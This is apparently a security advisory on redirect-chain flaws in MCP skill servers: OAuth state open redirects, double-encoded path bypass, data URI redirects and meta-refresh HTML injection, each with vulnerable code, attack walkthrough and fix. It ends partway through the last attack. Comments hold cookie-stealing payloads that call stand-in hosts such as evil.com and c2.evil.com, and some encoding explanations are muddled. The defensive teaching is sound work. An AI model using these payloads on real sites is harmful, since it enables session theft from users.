Claude skill redirect chain security — SA-SKL-REDIRECT2
MCP skills that handle OAuth callbacks, return URLs, or generate HTML redirect pages expose four redirect chain attacks that bypass naive open redirect defenses: the OAuth state parameter as an unvalidated post-auth redirect destination, double-encoded path sequences that evade directory allowlist checks, data URI redirects that bypass hostname validation entirely, and meta-refresh tag injection in generated HTML that allows arbitrary script delivery. SA-SKL-REDIRECT2 covers all four with the attack chains and correct validation logic.
Beyond basic open redirect: the redirect chain attack surface
The original SA-SKL-REDIR series covered direct open redirect via unvalidated returnUrl parameters. SA-SKL-REDIRECT2 addresses four redirect chain variants that survive basic hostname and path validation. Each attack exploits a different layer: OAuth state storage at the protocol level, URL normalization gaps in path validation, scheme-based bypass for non-HTTP URLs, and HTML template injection in server-generated redirect pages. All four patterns result in victim browsers landing on attacker-controlled destinations after completing a legitimate action on the skill server.
SA-SKL-REDIRECT2 in scope: REDIRECT2-001 (OAuth state parameter open redirect), REDIRECT2-002 (double-encoded path bypass), REDIRECT2-003 (data URI redirect bypasses hostname check), REDIRECT2-004 (meta-refresh injection in generated HTML). Each pattern includes SkillAudit detection rules and remediation code.
REDIRECT2-001 — OAuth state parameter open redirect
MCP skills that implement OAuth authorization flows often store a post-auth redirect URL in the OAuth state parameter. When the authorization callback extracts the destination from state without binding it to a session-stored nonce or validating it against an allowlist, an attacker crafts a malicious authorization URL with an attacker-controlled destination in state. The victim completes the OAuth flow legitimately, and the callback handler redirects them — with the authorization code visible in the browser referrer or in the destination URL — to the attacker’s site.
Vulnerable code: state parameter used directly as redirect target
// oauthCallback.ts — state parameter extracted and used as redirect target without validation
import express from 'express';
import { exchangeCodeForToken } from './github-oauth';
const app = express();
// Attacker crafts an authorization URL:
// https://github.com/login/oauth/authorize
// ?client_id=CLIENT_ID
// &state=https://evil.com/steal?code= <-- attacker-controlled destination
// &scope=repo,read:user
// Victim clicks this URL (e.g., from a "Connect GitHub" phishing link),
// completes OAuth normally, and GitHub redirects to our callback with:
// /auth/github/callback?code=AUTHORIZATION_CODE&state=https://evil.com/steal?code=
app.get('/auth/github/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
// Exchange code for access token (this part is fine)
const { accessToken } = await exchangeCodeForToken(code);
// Store token in session
req.session!.accessToken = accessToken;
// VULNERABLE: state used directly as redirect target — no validation
// state = 'https://evil.com/steal?code='
// The browser is redirected to attacker's site; the code may also be in the URL
const redirectTarget = state || '/dashboard';
res.redirect(302, redirectTarget);
// Victim is now on evil.com, logged in, with their OAuth code leaked
});
Fix: bind OAuth state to session-stored nonce; validate against allowlist
// oauthCallback.ts — state parameter bound to session nonce; redirect validated
import express from 'express';
import crypto from 'crypto';
import { exchangeCodeForToken } from './github-oauth';
const app = express();
// Step 1: initiate OAuth with a session-bound state nonce
app.get('/auth/github/start', (req, res) => {
// The return path the user wanted to reach (must be a relative path, not a URL)
const returnPath = req.query.returnPath as string || '/dashboard';
// Validate returnPath is a relative path on our domain — not an absolute URL
const safePath = /^\/[\w\/\-?#=&%.]*$/.test(returnPath) ? returnPath : '/dashboard';
// Generate a cryptographic nonce and store it with the intended post-auth path
const stateNonce = crypto.randomBytes(16).toString('hex');
req.session!.oauthState = {
nonce: stateNonce,
returnPath: safePath, // store separately from the state parameter
};
const authUrl = new URL('https://github.com/login/oauth/authorize');
authUrl.searchParams.set('client_id', process.env.GITHUB_CLIENT_ID!);
authUrl.searchParams.set('scope', 'repo,read:user');
authUrl.searchParams.set('state', stateNonce); // only the nonce goes in state
res.redirect(302, authUrl.toString());
});
// Step 2: callback validates nonce and uses session-stored path (never state directly)
app.get('/auth/github/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const storedState = req.session!.oauthState;
// CSRF check: state nonce must match what we stored in the session
if (!storedState || state !== storedState.nonce) {
return res.status(400).json({ error: 'invalid_state_parameter' });
}
// Clear state from session immediately (one-time use)
const { returnPath } = storedState;
delete req.session!.oauthState;
const { accessToken } = await exchangeCodeForToken(code);
req.session!.accessToken = accessToken;
// Use the session-stored path, not the state parameter
// returnPath is a relative path validated at initiation time — safe to redirect to
res.redirect(302, returnPath);
});
The redirect destination belongs in the session, not the state parameter. The OAuth state parameter is designed for CSRF protection (proving the callback corresponds to your initiation). Using it as a redirect URL conflates two concerns. Store the redirect destination in the user session at initiation time and retrieve it there at callback time, using the state parameter only for CSRF nonce verification.
state parameter without session-bound nonce validation; attacker crafts authorization URL with attacker-controlled destination in state, victim completes OAuth and is redirected to attacker site. Fix: store redirect path in session at initiation time (not in state); use state parameter exclusively for CSRF nonce; validate the stored path is a relative URL on the application domain. Detection: SkillAudit finds OAuth callback handlers where req.query.state is passed to res.redirect() without a session nonce comparison or URL structure validation.REDIRECT2-002 — Double-encoded path bypass evades directory allowlist
When a skill validates return URLs by checking that the decoded path starts with an allowed prefix, an attacker can bypass the check by double-encoding path separators. The URL %252F..%252F..%252Fevil decodes once to %2F..%2F../evil, which looks like it has no slash (and thus starts with nothing suspicious) at validation time. When the browser or server decodes it again during navigation, it becomes /../../../evil, traversing out of the allowed directory.
Vulnerable code: single URL decode before allowlist check
// returnUrlValidator.ts — single decode allows double-encoded path traversal
import { URL } from 'url';
const ALLOWED_PATHS = ['/dashboard', '/audits', '/settings'];
export function validateReturnUrl(returnUrl: string): string {
// Single decode — does NOT catch double-encoded sequences
const decoded = decodeURIComponent(returnUrl);
// Check if decoded path starts with an allowed prefix
let parsed: URL;
try {
// If returnUrl is relative, resolve against the app origin
parsed = new URL(decoded, 'https://skillaudit.dev');
} catch {
return '/dashboard';
}
// Allowlist check passes for: %252F..%252F..%252Fevil
// Because after one decode: %2F..%2F../evil
// new URL('%2F..%2F../evil', base).pathname = '/%2F../evil' — passes '/dashboard' check? No.
// But with more careful crafting:
// /dashboard%252F..%252F..%252F..%252Fevil
// → decoded: /dashboard%2F../../../evil
// → parsed.pathname = '/dashboard%2F../../../evil' ← starts with /dashboard ✓
// → browser second-decodes to: /dashboard/../../../evil → navigates to /evil
const startsWithAllowed = ALLOWED_PATHS.some(p => parsed.pathname.startsWith(p));
if (!startsWithAllowed) {
return '/dashboard';
}
return decoded;
}
Attack: double-encoded traversal bypasses allowlist prefix check
// Crafted return URL that bypasses the allowlist check:
// /dashboard%252F..%252F..%252Fevil
//
// Step 1: application does decodeURIComponent('/dashboard%252F..%252F..%252Fevil')
// Result: '/dashboard%2F../../../evil'
// parsed.pathname = '/dashboard%2F../../../evil'
// starts with '/dashboard' → PASSES the allowlist check ✓
//
// Step 2: res.redirect(302, '/dashboard%2F../../../evil')
// Browser receives Location: /dashboard%2F../../../evil
//
// Step 3: browser URL-decodes the Location header
// '/dashboard%2F../../../evil' → '/dashboard/../../../evil'
// Browser resolves: /dashboard/../../../evil = /evil
// User lands on /evil instead of /dashboard
//
// If /evil is a path that serves attacker-controlled content (open redirect target),
// or if the full URL form is used:
// /dashboard%252F..%252F..%252F..%252F%2F..%252Fevil.com
// → browser navigates to //evil.com (protocol-relative URL = attacker's domain)
console.log(new URL('/dashboard%2F../../..///evil.com', 'https://skillaudit.dev').href);
// Output: https://skillaudit.dev/evil.com (not what you expect — normalize carefully)
Fix: fully normalize URL after decode; validate using URL parser pathname
// returnUrlValidator.ts — full normalization before allowlist check
import { URL } from 'url';
const ALLOWED_PATH_PREFIXES = ['/dashboard', '/audits', '/settings'];
export function validateReturnUrl(returnUrl: string): string {
if (!returnUrl || typeof returnUrl !== 'string') return '/dashboard';
let normalized: URL;
try {
// Parse against the app origin — this handles relative paths and resolves ../ traversal
// URL constructor performs full normalization including path segment resolution
normalized = new URL(returnUrl, 'https://skillaudit.dev');
} catch {
return '/dashboard';
}
// Reject any URL that isn't on our own origin — catches absolute URLs to other hosts
if (normalized.origin !== 'https://skillaudit.dev') {
return '/dashboard';
}
// After URL construction and normalization, pathname is fully resolved:
// '/dashboard%252F..%252F..%252Fevil' → after URL normalization → pathname is now '/evil'
// which does NOT start with any ALLOWED_PATH_PREFIXES → rejected
const isAllowed = ALLOWED_PATH_PREFIXES.some(prefix =>
normalized.pathname === prefix ||
normalized.pathname.startsWith(prefix + '/') ||
normalized.pathname.startsWith(prefix + '?')
);
if (!isAllowed) return '/dashboard';
// Return the normalized pathname + search + hash — not the original returnUrl string
// This ensures we return the fully-decoded, traversal-resolved path
return normalized.pathname + normalized.search + normalized.hash;
}
// Key insight: use `new URL(returnUrl, appBase).pathname` for path extraction,
// never `decodeURIComponent(returnUrl)` or manual string parsing.
// The URL constructor resolves ../ segments and all encoding levels atomically.
Always use the URL constructor for path normalization, not string operations. Functions like path.normalize() operate on filesystem paths and do not handle URL encoding. decodeURIComponent() only decodes one level. The new URL(input, base) constructor correctly resolves path traversal, decodes all percent-encoding levels, and handles scheme/host separation — use it exclusively for return URL validation.
decodeURIComponent() followed by a prefix check is bypassed by double-encoded paths: /dashboard%252F..%252F..%252Fevil passes the prefix check after single decode (/dashboard%2F../...) but navigates to an unintended destination after the browser’s second decode. Fix: use new URL(returnUrl, appBase).pathname for path extraction (fully normalizes all encoding levels and resolves traversal); check the parsed origin matches the app origin before trusting the path. Detection: SkillAudit flags validation logic where decodeURIComponent() output feeds directly into a string startsWith() check without subsequent URL object construction and origin verification.REDIRECT2-003 — Redirect to data URI bypasses hostname check
When a skill validates redirect URLs by checking the hostname, data: URIs pass the check silently: new URL('data:text/html,<script>...</script>').hostname returns an empty string, which does not match any blocked hostname. If the skill checks that the hostname is not on a blocklist (rather than checking it IS on an allowlist), or if the allowlist check only triggers when the hostname is non-empty, data URI redirects deliver XSS payloads directly.
Vulnerable code: hostname blocklist allows data URI redirect
// redirectValidator.ts — blocklist approach; data URI has no hostname to block
import { URL } from 'url';
const BLOCKED_HOSTNAMES = ['evil.com', 'attacker.net', 'phishing.example'];
export function isRedirectAllowed(redirectUrl: string): boolean {
let parsed: URL;
try {
parsed = new URL(redirectUrl, 'https://skillaudit.dev');
} catch {
return false;
}
// VULNERABLE: blocklist approach — data URI has hostname = '' which is not blocked
if (BLOCKED_HOSTNAMES.includes(parsed.hostname)) {
return false; // Block known bad hostnames
}
// data:text/html,<script>fetch('https://evil.com/?c='+document.cookie)</script>
// new URL('data:...').hostname === ''
// '' is not in BLOCKED_HOSTNAMES → returns true → redirect allowed
return true;
}
export function safeRedirect(res: any, redirectUrl: string): void {
if (isRedirectAllowed(redirectUrl)) {
res.redirect(302, redirectUrl); // data URI accepted!
} else {
res.redirect(302, '/dashboard');
}
}
Attack: data URI redirect delivers XSS payload
// Attacker constructs a redirect URL using a data URI:
// data:text/html,<script>fetch('https://c2.evil.com/?session='+document.cookie)</script>
//
// When res.redirect(302, 'data:...') is sent:
// HTTP/1.1 302 Found
// Location: data:text/html,<script>fetch('...')</script>
//
// Browser follows the Location header to a data URI.
// The data URI renders as an HTML page (no hostname, treated as same-origin in some browsers).
// The script executes in the browser context, exfiltrating the session cookie.
//
// Validation bypass:
// new URL('data:text/html,...').hostname === '' // empty string
// new URL('data:text/html,...').protocol === 'data:'
// new URL('data:text/html,...').origin === 'null'
//
// Blocklist check: '' not in ['evil.com', ...] → allowed ✓ (bug)
// Allowlist check: '' not in ['skillaudit.dev'] → rejected ✓ (correct)
//
// Also applies to: javascript: URIs (hostname = ''), blob: URIs, vbscript:
console.log(new URL('data:text/html,test').hostname); // ''
console.log(new URL('javascript:alert(1)').hostname); // ''
console.log(new URL('blob:https://...').hostname); // 'skillaudit.dev'
Fix: validate protocol === 'https:' explicitly; allowlist the application origin
// redirectValidator.ts — allowlist origin; validate protocol explicitly
import { URL } from 'url';
const APP_ORIGIN = 'https://skillaudit.dev';
export function isRedirectAllowed(redirectUrl: string): boolean {
let parsed: URL;
try {
// Relative paths resolve against app origin
parsed = new URL(redirectUrl, APP_ORIGIN);
} catch {
return false;
}
// CORRECT: validate protocol explicitly — rejects data:, javascript:, blob:, etc.
if (parsed.protocol !== 'https:') {
return false;
}
// CORRECT: allowlist origin — reject any host that isn't the app itself
// (or explicitly allowed partners)
if (parsed.origin !== APP_ORIGIN) {
return false;
}
// Additional: reject empty or root-only paths if they shouldn't be valid redirects
if (parsed.pathname === '/') {
return true; // allow — root is fine
}
return true;
}
export function safeRedirect(res: any, redirectUrl: string, fallback = '/dashboard'): void {
if (isRedirectAllowed(redirectUrl)) {
// Use the parsed origin + pathname (not raw redirectUrl) to prevent header injection
const safe = new URL(redirectUrl, APP_ORIGIN);
res.redirect(302, safe.pathname + safe.search + safe.hash);
} else {
res.redirect(302, fallback);
}
}
// Summary of what this rejects:
// data:text/html,... → protocol 'data:' !== 'https:' → blocked
// javascript:alert(1) → protocol 'javascript:' !== 'https:' → blocked
// http://skillaudit.dev/x → protocol 'http:' !== 'https:' → blocked (downgrade)
// https://evil.com/x → origin !== APP_ORIGIN → blocked
// https://skillaudit.dev/dashboard → protocol 'https:' ✓, origin matches ✓ → allowed
data:, javascript:, and blob: URIs because they have an empty hostname (parsed.hostname === '') that is never on the blocklist. Attacker redirects the victim to a data:text/html,<script>...</script> URI that executes XSS in the browser. Fix: validate parsed.protocol === 'https:' and parsed.origin === APP_ORIGIN (allowlist, not blocklist) before allowing any redirect. Detection: SkillAudit flags redirect validation logic that uses a hostname blocklist (BLOCKED_HOSTNAMES.includes()) without an explicit parsed.protocol === 'https:' check on the same code path.REDIRECT2-004 — Meta-refresh injection in generated HTML redirect page
Some MCP skills generate an HTML “redirecting…” interstitial page containing a <meta http-equiv="refresh" content="0;url={url}"> tag with the redirect URL interpolated from user input. If the URL is not HTML-encoded before insertion, an attacker closes the meta tag attribute and injects arbitrary HTML including script tags. The browser executes the injected script before following the meta-refresh.
Vulnerable code: redirect URL interpolated raw into HTML meta tag
// redirectPage.ts — user-supplied URL inserted raw into HTML meta tag
import express from 'express';
const app = express();
app.get('/redirect', (req, res) => {
const returnUrl = req.query.to as string || '/dashboard';
// VULNERABLE: returnUrl interpolated directly into HTML without HTML encoding
// Attacker sends: /redirect?to=https://safe.com/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
// After URL decode: to = https://safe.com/">
// The " closes the content attribute, > closes the meta tag, then script runs
res.setHeader('Content-Type', 'text/html; charset=utf-8');
res.send(`
<!doctype html>
<html>
<head>
<!-- VULNERABLE: returnUrl inserted without HTML encoding -->
<meta http-equiv="refresh" content="0;url=${returnUrl}">
<title>Redirecting...</title>
</head>
<body>
<p>Redirecting to <a href="${returnUrl}">${returnUrl}</a></p>
</body>
</html>
`);
// If returnUrl = 'https://safe.com/">'
// The rendered HTML is:
// <meta http-equiv="refresh" content="0;url=https://safe.com/">
// <script>fetch("https://evil.com/?c="+document.cookie)</script>
// Script runs before meta-refresh fires
});
Attack: attribute injection via HTML special characters in URL
// Attacker constructs the malicious URL:
// https://skillaudit.dev/redirect?to=https://safe.com/">
//
// URL-encoded form (browser will decode before server receives):
// /redirect?to=https://safe.com/%22%3E%3Cscript%3Efetch('...')%3C/script%3E
//
// After URL decoding on the server: req.query.to = 'https://safe.com/">